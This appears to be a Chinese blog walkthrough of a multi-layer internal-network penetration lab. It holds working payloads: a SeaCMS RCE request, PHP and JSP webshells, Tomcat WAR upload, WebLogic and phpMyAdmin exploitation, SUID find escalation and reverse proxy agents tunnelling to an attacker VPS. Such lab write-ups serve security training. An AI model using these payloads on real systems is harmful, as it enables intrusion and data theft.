内网综合渗透靶场一

文章：

https://mp.weixin.qq.com/s/KR0NhrLXQAvwIlUzuN4-_Q

https://mp.weixin.qq.com/s/FGyjQG4Z5J59pJDLWGjISw

靶场环境：

http://103.149.92.27:89/

flag1（seacms v6.45 前台Getshell）

首先是一个 seacms

image-20251205173812238

用 fscan 扫描发现存在 RCE 的漏洞

image-20251205174043921

然后去网上找POC打

文章：https://www.cnblogs.com/tr1ple/p/11101008.html

POC：

1
2
3
4
5
6
POST /search.php HTTP/1.1
Host: 103.149.92.27:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 94

searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);//}{end if}&func=system&cmd=whoami

image-20251205174446730

然后写入Webshell

1
2
3
4
5
6
POST /search.php HTTP/1.1
Host: 103.149.92.27:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 132

searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);//}{end if}&func=system&cmd=echo "<?php eval(\$_POST['shell']);?>">y.php

image-20251205174737053

用蚁剑连接

image-20251205174810753

获得flag1

image-20251205174836211

1
flag1{22ddee0793c18171e62cff7eef6625ac}

flag2（内网代理 + MySQL-UDF提权）

查看内网 IP 为10.10.20.31，网段为10.10.20.0/24

1
ifconfig

image-20251205175349097

上传 fscan 到服务器的/tmp目录下扫描内网服务

1
./fscan -h 10.10.20.0/24

image-20251205175840129

查看result.txt得到扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
10.10.20.31:80 open
10.10.20.1:21 open
10.10.20.1:80 open
10.10.20.1:443 open
10.10.20.1:9088 open
10.10.20.1:89 open
10.10.20.1:8080 open
10.10.20.1:22 open
10.10.20.166:3306 open
10.10.20.88:8080 open
10.10.20.1:888 open
10.10.20.31:7000 open
10.10.20.88:7000 open
10.10.20.1:8090 open
10.10.20.88:8009 open
[*] WebTitle http://10.10.20.1:9088    code:404 len:182    title:nps error
[*] WebTitle http://10.10.20.31        code:200 len:21255  title:海洋CMS
[*] WebTitle http://10.10.20.88:8080   code:200 len:11230  title:Apache Tomcat/8.0.43
[+] mysql 10.10.20.166:3306:root 123456
[*] WebTitle http://10.10.20.1:8090    code:302 len:35     title:None 跳转url: http://10.10.20.1:8090/login/index
[*] WebTitle http://10.10.20.1:89      code:200 len:21255  title:海洋CMS
[*] WebTitle http://10.10.20.1         code:200 len:138    title:404 Not Found
[*] WebTitle http://10.10.20.1:8090/login/index code:200 len:3617   title:""
[*] WebTitle http://10.10.20.1:888     code:403 len:548    title:403 Forbidden
[*] WebTitle https://10.10.20.1        code:500 len:2412   title:Database Error
[+] PocScan http://10.10.20.31 poc-yaml-seacms-sqli 
[+] PocScan http://10.10.20.31 poc-yaml-seacmsv645-command-exec 
[+] PocScan http://10.10.20.31 poc-yaml-seacms-v654-rce 
[+] PocScan http://10.10.20.1:89 poc-yaml-seacms-sqli 
[+] PocScan http://10.10.20.1:89 poc-yaml-seacmsv645-command-exec 
[+] PocScan http://10.10.20.1:89 poc-yaml-seacms-v654-rce

可以发现有：

  • 10.10.20.166:3306：MYSQL数据库，root的弱口令为123456
  • http://10.10.20.88:8080：Apache Tomcat/8.0.43
  • http://10.10.20.1:8090

搭建内网代理，在vps开启监听

1
./linux_x64_admin -l 9999

image-20251205180942120

上传linux_x64_agent到/tmp目录下

image-20251205180529494

然后给可执行权限，建立连接

1
./linux_x64_agent -c [VPS-IP]:9999

image-20251205181100159

连接成功

image-20251205181135019

然后将流量转发到15000端口

1
2
3
detail
use 0
socks 15000

image-20251205181221019

然后自己主机打开 Proxifier ，配置好后接收15000的流量

image-20251205184323808

可以访问到内网服务了

image-20251205184514419

先去看看 MYSQL 服务

image-20251205184928099

可以进行 UDF 提权

image-20251205185016158

用find命令找flag

1
find / -type f -name "*flag*" 2>/dev/null

image-20251205185137892

image-20251205185203511

1
flag2{530ee2980a42a42bf5ef25954a6fa7fb}

flag3（tomcat v8.0.43 弱口令后台getshell漏洞）

继续看http://10.10.20.88:8080的Apache Tomcat/8.0.43，上网查询可以发现这个版本存在弱口令后台getshell漏洞

文章：https://www.cnblogs.com/Junglezt/p/18122284

image-20251205185935069

image-20251205190154351

利用bp抓包爆破弱口令，这里要配置一下，关闭 Proxifier 中的配置，打开bp的配置，就可以用bp抓包了

image-20251205190312936

Authorization中进行的身份认证

image-20251205190554398

最后爆破出弱口令：tomcat/tomcat123

image-20251205190022349

找到上传.war文件的地方

image-20251205195537072

手动打包一个.war文件，先创建一个y.jsp文件，代码如下，密码是passwd：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

使用jar命令打包

1
jar cvf y.war y.jsp

image-20251205200503467

image-20251205200512019

将生成的y.war上传，然后访问：

1
http://10.10.20.88:8080/y/y.jsp

蚁剑连接

image-20251205200553782

连接上是root权限，最后寻找flag

1
2
find / -type f -name "*flag*" 2>/dev/null
cat /root/flag3.txt

image-20251205200702661

1
flag3{8bc05b8ba01d357a44d42b7b16ce7a58}

flag4（poc-yaml-weblogic-cve-2020-14750）

查看 IP，可以发现另一个内网网段172.16.224.66/24

1
ip addr

image-20251205200940577

传 fscan 上去扫描内网

image-20251205203331358

1
2
chmod +x fscan
./fscan -h 172.16.224.66/24

image-20251205203514098

看result.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
172.16.224.1:22 open
172.16.224.1:21 open
172.16.224.1:80 open
172.16.224.1:443 open
172.16.224.1:89 open
172.16.224.1:8080 open
172.16.224.66:8080 open
172.16.224.221:7001 open
172.16.224.66:8009 open
172.16.224.1:8090 open
172.16.224.66:7000 open
172.16.224.1:888 open
172.16.224.1:9088 open
[*] WebTitle http://172.16.224.1:888   code:403 len:548    title:403 Forbidden
[*] WebTitle http://172.16.224.1:8090  code:302 len:35     title:None 跳转url: http://172.16.224.1:8090/login/index
[*] WebTitle http://172.16.224.1:9088  code:404 len:182    title:nps error
[*] WebTitle http://172.16.224.66:8080 code:200 len:11230  title:Apache Tomcat/8.0.43
[*] WebTitle http://172.16.224.1:8090/login/index code:200 len:3617   title:""
[*] WebTitle http://172.16.224.1       code:200 len:138    title:404 Not Found
[*] WebTitle http://172.16.224.1:89    code:200 len:21255  title:海洋CMS
[*] WebTitle https://172.16.224.1      code:500 len:2412   title:Database Error
[+] PocScan http://172.16.224.1:89 poc-yaml-seacms-sqli 
[+] PocScan http://172.16.224.1:89 poc-yaml-seacmsv645-command-exec 
[+] PocScan http://172.16.224.1:89 poc-yaml-seacms-v654-rce 
[*] WebTitle http://172.16.224.221:7001 code:404 len:1164   title:Error 404--Not Found
[+] InfoScan http://172.16.224.221:7001 [weblogic] 
[+] PocScan http://172.16.224.221:7001 poc-yaml-weblogic-cve-2020-14750 
[+] PocScan http://172.16.224.221:7001/console/j_security_check poc-yaml-weblogic-console-weak [{username weblogic} {password Oracle@123} {payload UTF-8}]

有个http://172.16.224.221:7001，是 weblogic 服务，还爆出了账号和密码weblogic/Oracle@123

这里再开一个内网代理，把流量转发到另一个端口上访问

1
./linux_x64_admin -l 9998

image-20251205204429817

上传linux_x64_agent到靶机上

1
2
chmod +x linux_x64_agent
./linux_x64_agent -c [VPS-IP]:9998

image-20251205204832139

将流量转发到15001端口

1
2
3
detail
use 0
socks 15001

image-20251205204927408

Proxifier 改成接收15001端口的

image-20251205205010364

然后就能访问到新的一个内网网段了

1
http://172.16.224.221:7001/

image-20251205205055257

在result.txt可以看到存在poc-yaml-weblogic-cve-2020-14750 漏洞，用weblogic漏洞利用工具打，可以发现存在漏洞

image-20251205205532328

可以执行命令

image-20251205205613316

这里上传之前那个马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

image-20251205210233715

1
http://172.16.224.221:7001//wls-wsat/y.jsp

用蚁剑连接

image-20251205210150176

find命令找flag

1
find / -type f -name "*flag*" 2>/dev/null

image-20251205210348155

还是个root权限，直接读flag

1
cat /root/flag4

image-20251205210443851

1
flag4{e196c260edb6fade74c1e5ce7cb7826f}

flag5（内网多层代理 + phpMyAdmin v4.8.1 文件包含漏洞（CVE-2018-12613） + SUID-find提权）

继续看IP，又发现一个内网网段192.168.10.35/24

image-20251205211127709

上传 fscan 扫

1
2
chmod +x fscan
./fscan -h 192.168.10.35/24

image-20251205211447101

看result.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
192.168.10.1:22 open
192.168.10.1:888 open
192.168.10.35:7001 open
192.168.10.1:21 open
192.168.10.208:80 open
192.168.10.1:80 open
192.168.10.100:3306 open
192.168.10.1:9088 open
192.168.10.1:89 open
192.168.10.1:443 open
192.168.10.1:8080 open
192.168.10.1:8090 open
[*] WebTitle http://192.168.10.1:8090  code:302 len:35     title:None 跳转url: http://192.168.10.1:8090/login/index
[*] WebTitle http://192.168.10.1:9088  code:404 len:182    title:nps error
[*] WebTitle http://192.168.10.1:888   code:403 len:548    title:403 Forbidden
[*] WebTitle http://192.168.10.1       code:200 len:138    title:404 Not Found
[*] WebTitle http://192.168.10.1:8090/login/index code:200 len:3617   title:""
[*] WebTitle http://192.168.10.1:89    code:200 len:21255  title:海洋CMS
[*] WebTitle https://192.168.10.1      code:500 len:2412   title:Database Error
[+] PocScan http://192.168.10.1:89 poc-yaml-seacms-sqli 
[+] PocScan http://192.168.10.1:89 poc-yaml-seacms-v654-rce 
[+] PocScan http://192.168.10.1:89 poc-yaml-seacmsv645-command-exec 
[*] WebTitle http://192.168.10.208     code:200 len:14137  title:phpMyAdmin
[+] InfoScan http://192.168.10.208     [phpMyAdmin] 
[*] WebTitle http://192.168.10.35:7001 code:404 len:1164   title:Error 404--Not Found
[+] InfoScan http://192.168.10.35:7001 [weblogic] 
[+] PocScan http://192.168.10.35:7001 poc-yaml-weblogic-cve-2020-14750 
[+] PocScan http://192.168.10.35:7001/console/j_security_check poc-yaml-weblogic-console-weak [{username weblogic} {password Oracle@123} {payload UTF-8}]
[+] PocScan http://192.168.10.35:7001 poc-yaml-weblogic-cve-2019-2725 v10

可以发现http://192.168.10.208上有个 phpMyAdmin 服务

但是会发现这个主机不出网，就没办法直接和我的VPS建立连接，这里就是要进行多层代理

文章：https://www.cnblogs.com/sec-geek/articles/19027695

需要一个中转的机器，这里就是用 tomcat 的那个机器

先在admin端监听

1
2
3
listen
1
10000

image-20251205213453297

然后上传linux_x64_agent到这个不出网的这个靶机上

image-20251205214220056

然后去连接tomcat主机的10000端口，IP可以在上一个主机的result.txt中看到

image-20251205214651649

1
2
chmod +x linux_x64_agent
./linux_x64_agent -c 172.16.224.66:10000

image-20251205214850142

就可以成功带出来了

image-20251205214808467

然后进行流量转发，转发到15002端口上

1
2
use 1
socks 15002

image-20251205215223512

然后在 Proxifier 新建个代理服务器

image-20251205215046252

再新建个规则，接收15002的流量

image-20251205215403804

然后就可以成功访问到 phpMyAdmin 的服务了

1
http://192.168.10.208/

image-20251205215436329

这里存在弱口令test/test

image-20251205215817089

成功登录，可以看到版本是 4.8.1，可以搜到存在文件包含漏洞

image-20251205225537289

访问发现确实存在该漏洞

1
http://192.168.10.208/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

image-20251205225750445

在导航栏的 SQL 中执行

1
SELECT '<?php phpinfo();?>';

image-20251206002516641

在这里找到我的SESSIONID

image-20251206010052903

然后访问

1
http://192.168.10.208/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_fec543a9d7f1dd0bad411e1862366fa7

image-20251206010104783

可以得到命令回显，写入Webshell到y.php中，对一句话木马进行base64编码，避免特殊字符的出现

1
SELECT '<?php file_put_contents("y.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1Rbc2hlbGxdKTs/Pg=="));?>';

image-20251206005821088

然后先去访问，然后蚁剑连接

1
http://192.168.10.208/y.php

image-20251206010146049

成功连接，然后find命令找flag，但是没有找到，可能因为权限不够，flag在/root目录下

image-20251206010306468

查看是否存在 SUID 提权的可能

1
find / -perm -u=s -type f 2>/dev/null

image-20251207225423957

可以利用find进行提权

网站：https://gtfobins.github.io/gtfobins/find/

image-20251207225536816

1
find `which find` -exec whoami \;

image-20251207225819192

成功提权，然后再找flag位置

1
find `which find` -exec find / -type f -name "*flag*" 2>/dev/null \;

image-20251207225935449

1
find `which find` -exec cat /root/flag5 \;

image-20251207230015300

1
flag5{635ad396e16dceafd38ae1e276d55a00}
渗透 > 内网综合渗透靶场
#内网渗透
内网综合渗透靶场一
https://yschen20.github.io/2025/12/07/内网综合渗透靶场一/
作者
Suzen
发布于
2025年12月7日
更新于
2025年12月7日
许可协议